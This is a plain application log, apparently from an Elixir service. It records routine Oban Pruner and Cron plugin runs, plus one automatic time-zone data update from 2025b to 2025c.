{"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:48.496 [info] {"source":"oban","duration":1638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:00.454 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:48:18.498 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:48.500 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:00.455 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:49:18.502 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:48.504 [info] {"source":"oban","duration":1238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:00.456 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:50:18.506 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:48.508 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:00.457 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:51:18.510 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:48.512 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:00.458 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:52:18.514 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:48.516 [info] {"source":"oban","duration":1184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:00.459 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:53:18.518 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:48.520 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:00.460 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:54:18.522 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:48.524 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:00.461 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:55:18.526 [info] {"source":"oban","duration":1405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:48.528 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:00.462 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:56:18.531 [info] {"source":"oban","duration":2086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:48.533 [info] {"source":"oban","duration":1366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:00.463 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:57:18.535 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:48.537 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:00.464 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:58:18.539 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:48.541 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:00.465 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:59:18.543 [info] {"source":"oban","duration":1229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:48.545 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:00.466 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:00:18.547 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:48.549 [info] {"source":"oban","duration":1292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:00.467 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:01:18.551 [info] {"source":"oban","duration":1024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:48.553 [info] {"source":"oban","duration":1105,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:00.468 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:02:18.555 [info] {"source":"oban","duration":1156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:48.557 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:00.469 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:03:18.559 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:48.561 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:00.470 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:04:18.563 [info] {"source":"oban","duration":1173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:48.565 [info] {"source":"oban","duration":1379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:00.471 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:05:18.567 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:48.569 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:00.472 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:06:18.571 [info] {"source":"oban","duration":1303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:48.573 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:00.473 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:07:18.575 [info] {"source":"oban","duration":1180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:48.577 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:00.474 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:08:18.579 [info] {"source":"oban","duration":1042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:48.581 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:00.475 [info] {"source":"oban","duration":224,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:09:18.583 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:48.585 [info] {"source":"oban","duration":1050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:00.476 [info] {"source":"oban","duration":219,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:10:18.587 [info] {"source":"oban","duration":1147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:48.589 [info] {"source":"oban","duration":1219,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:00.477 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:11:18.591 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:48.593 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:00.478 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:12:18.595 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:48.597 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:00.479 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:13:18.599 [info] {"source":"oban","duration":1374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:48.601 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:00.480 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:14:18.603 [info] {"source":"oban","duration":1141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:48.605 [info] {"source":"oban","duration":1591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:00.481 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:15:18.607 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:48.609 [info] {"source":"oban","duration":1065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:00.482 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:16:18.611 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:48.613 [info] {"source":"oban","duration":1189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:00.483 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:17:18.615 [info] {"source":"oban","duration":978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:48.617 [info] {"source":"oban","duration":1093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:00.484 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:18:18.619 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:48.621 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:00.485 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:19:18.623 [info] {"source":"oban","duration":1187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:48.625 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:00.487 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:20:18.627 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:48.629 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:00.488 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:21:18.631 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:48.633 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:00.489 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:22:18.635 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:48.637 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:00.490 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:23:18.639 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:48.641 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:00.491 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:24:18.643 [info] {"source":"oban","duration":1215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:48.645 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:00.492 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:25:18.647 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:48.649 [info] {"source":"oban","duration":1109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:00.493 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:26:18.651 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:48.653 [info] {"source":"oban","duration":973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:00.494 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:27:18.655 [info] {"source":"oban","duration":917,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:48.657 [info] {"source":"oban","duration":1208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:00.495 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:28:18.659 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:48.661 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:00.496 [info] {"source":"oban","duration":315,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:29:18.663 [info] {"source":"oban","duration":1244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:48.665 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:00.497 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:30:18.667 [info] {"source":"oban","duration":1370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:48.669 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:00.498 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:31:18.671 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:48.673 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:00.499 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:32:18.675 [info] {"source":"oban","duration":1638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:48.677 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:00.500 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:33:18.679 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:48.681 [info] {"source":"oban","duration":1225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:00.501 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:34:18.683 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:48.685 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:00.502 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:35:18.687 [info] {"source":"oban","duration":1189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:48.689 [info] {"source":"oban","duration":1043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:00.503 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:36:18.691 [info] {"source":"oban","duration":1085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:48.693 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:00.504 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:37:18.695 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:48.697 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:00.505 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:38:18.699 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:48.701 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:00.506 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:39:18.703 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:48.705 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:00.507 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:40:18.707 [info] {"source":"oban","duration":1124,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:48.709 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:00.508 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:41:18.711 [info] {"source":"oban","duration":1277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:48.713 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:00.509 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:42:18.715 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:30.884 [debug] Tzdata polling for update. 21:42:31.198 [info] tzdata release in place is from a file last modified Sat, 22 Mar 2025 21:45:31 GMT. Release file on server was last modified Wed, 10 Dec 2025 23:51:30 GMT. 21:42:31.199 [debug] Tzdata downloading new data from https://data.iana.org/time-zones/tzdata-latest.tar.gz 21:42:31.336 [debug] Tzdata data downloaded. Release version 2025c. 21:42:32.673 [info] Tzdata has updated the release from 2025b to 2025c 21:42:32.673 [debug] Tzdata deleting ETS table for version 2025b 21:42:32.677 [debug] Tzdata deleting ETS table file for version 2025b 21:42:48.717 [info] {"source":"oban","duration":1388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:00.510 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:43:18.719 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:48.721 [info] {"source":"oban","duration":1256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:00.511 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:44:18.723 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:48.725 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:00.512 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:45:18.727 [info] {"source":"oban","duration":1371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:48.729 [info] {"source":"oban","duration":1384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:00.513 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:46:18.731 [info] {"source":"oban","duration":1396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:48.733 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:00.514 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:47:18.735 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:48.737 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:00.515 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:48:18.739 [info] {"source":"oban","duration":1044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:48.741 [info] {"source":"oban","duration":1125,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:00.516 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:49:18.743 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:48.745 [info] {"source":"oban","duration":1634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:00.517 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:50:18.748 [info] {"source":"oban","duration":1057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:48.750 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:00.518 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:51:18.752 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:48.754 [info] {"source":"oban","duration":1022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:00.519 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:52:18.756 [info] {"source":"oban","duration":1147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:48.758 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:00.520 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:53:18.760 [info] {"source":"oban","duration":1239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:48.762 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:00.521 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:54:18.764 [info] {"source":"oban","duration":1244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:48.766 [info] {"source":"oban","duration":1268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:00.522 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:55:18.768 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:48.770 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:00.523 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:56:18.772 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:48.774 [info] {"source":"oban","duration":1225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:00.524 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:57:18.776 [info] {"source":"oban","duration":980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:48.778 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:00.525 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:58:18.780 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:48.782 [info] {"source":"oban","duration":987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:00.526 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:59:18.784 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:48.786 [info] {"source":"oban","duration":986,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:00.527 [info] {"source":"oban","duration":161,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:00:18.788 [info] {"source":"oban","duration":1158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:48.790 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:00.528 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:01:18.792 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:48.794 [info] {"source":"oban","duration":919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:00.529 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:02:18.796 [info] {"source":"oban","duration":1427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:48.798 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:00.530 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:03:18.800 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:48.802 [info] {"source":"oban","duration":1694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:00.531 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:04:18.805 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:48.807 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:00.532 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 